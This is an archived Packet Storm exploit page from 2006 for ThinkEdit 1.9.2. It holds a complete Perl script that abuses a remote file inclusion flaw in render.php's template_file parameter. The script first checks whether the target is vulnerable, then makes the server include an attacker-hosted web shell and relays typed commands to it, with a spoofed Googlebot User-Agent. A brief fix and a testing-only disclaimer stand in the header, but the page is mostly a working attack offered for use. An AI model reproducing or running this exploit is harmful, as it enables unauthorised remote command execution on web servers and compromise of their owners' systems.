what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

thinkedit-rfi.txt

thinkedit-rfi.txt
Posted Dec 8, 2006
Authored by r0ut3r

ThinkEdit version 1.9.2 remote file inclusion exploit that makes use of render.php.

tags | exploit, remote, php, code execution, file inclusion
SHA-256 | 4971932d75405a4150baed935db4da30ab40d64a76faf9e41e79272cd369b797

thinkedit-rfi.txt

Change Mirror Download
#################################################################################################
# r0ut3r Presents... #
# #
# Another r0ut3r discovery! #
# writ3r [at] gmail.com #
# #
# ThinkEdit Remote File Inclusion Exploit #
#################################################################################################
# Software: ThinkEdit 1.9.2 #
# #
# Vendor: http://www.thinkedit.org/ #
# #
# Released: 2006/12/08 #
# #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com) #
# #
# Note: The information provided in this document is for ThinkEdit administrator #
# testing purposes only! #
# #
# Solution: #
# Add the below code to the top of render.php #
# if(basename(__FILE__) == basename($_SERVER['PHP_SELF'])) #
# die(); #
# #
# Exploit: #
# perl think.pl http://localhost /think/ http://localhost/cmd.txt cmd #
# #
# design/thinkedit/render.php?template_file= #
#################################################################################################

############################################################################
# Remote File Inclusion Exploiter #
# #
# This script attempts to exploit a remote file include vulnerability #
# by inserting a web shell into an include statement. A shell is then #
# spawned. #
# #
# Created By r0ut3r (writ3r [at] gmail.com) #
############################################################################

use IO::Socket;

$port = "80"; # connection port
$target = @ARGV[0]; # localhost
$folder = @ARGV[1]; # /think/
$shellloc = @ARGV[2]; # http://localhost/cmd.txt
$cmdv = @ARGV[3]; # cmd
$vulnerable = false;
$s = true;

sub Header()
{
print q {Remote File Inclusion Exploiter - By r0ut3r (writ3r [at] gmail.com)
-------------------------------------------------------------------
};
}

sub Usage()
{
print q
{
Usage: think.pl [target] [directory] [shell_loc] [cmd_variable]
perl think.pl http://localhost /think/ http://localhost/cmd.txt cmd
};
exit();
}

Header();

if (!$target || !$folder || !$shellloc || !$cmdv) {
Usage(); }

if ($s eq false) { print "[-] Shell not found\n"; exit(); }

# Check if the script is vulnerable and register_globals are on (if needed)
$vulnc = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
print $vulnc "GET ".$folder."render.php?template_file=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\n";
print $vulnc "Host: $target\n";
print $vulnc "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
print $vulnc "Accept: text/html\n";
print $vulnc "Connection: keep-alive\n\n";

while (<$vulnc>) {
if (/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/) { $vulnerable = true; }
}

if ($vulnerable eq false) { print "[-] Target not vulnerable, or register_globals could be off\n"; exit(); }

print "[+] Starting shell\n";
print "[cmd]\$ ";
$cmd = <STDIN>;
$cmd =~ s/ /%20/g;
while ($cmd !~ "exit")
{
$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
print $xpack "GET ".$folder."render.php?template_file=".$shellloc."&".$cmdv."=".substr($cmd, 0, -1)." HTTP/1.1\n";
print $xpack "Host: $target\n";
print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
print $xpack "Accept: text/html\n";
print $xpack "Connection: keep-alive\n\n";

print "[cmd]\$ ";
$cmd = <STDIN>;
}

print "[!] Connection to host lost...\n";

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close